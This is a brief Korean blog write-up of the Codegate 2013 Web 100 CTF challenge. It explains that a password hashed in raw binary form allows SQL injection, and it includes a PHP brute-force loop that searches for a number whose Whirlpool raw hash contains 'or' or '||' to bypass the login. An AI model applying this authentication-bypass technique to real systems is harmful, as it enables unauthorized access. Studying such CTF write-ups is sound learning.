Computer Security/CTF
                
              [Codegate 2013] Web 100 simple write up
                tunz
                 2013. 3. 3. 23:42
              
                          
            비밀번호 해쉬를 하는데 세번째 인자가 true이다.
raw 형식으로 hash를 한다는것을 알수있다.
예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.
경험이 있으므로.. 쉽게 풀었는데
예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.
그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,
결과를 하나씩 넣어보다 보니 로그인 성공
(숫자 몇이 성공이었는지는 정확히 기억이 안난다)
비밀번호를 찾는 코드
$i의 값이 비밀번호다.
$i=0;
echo "start\n";
for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;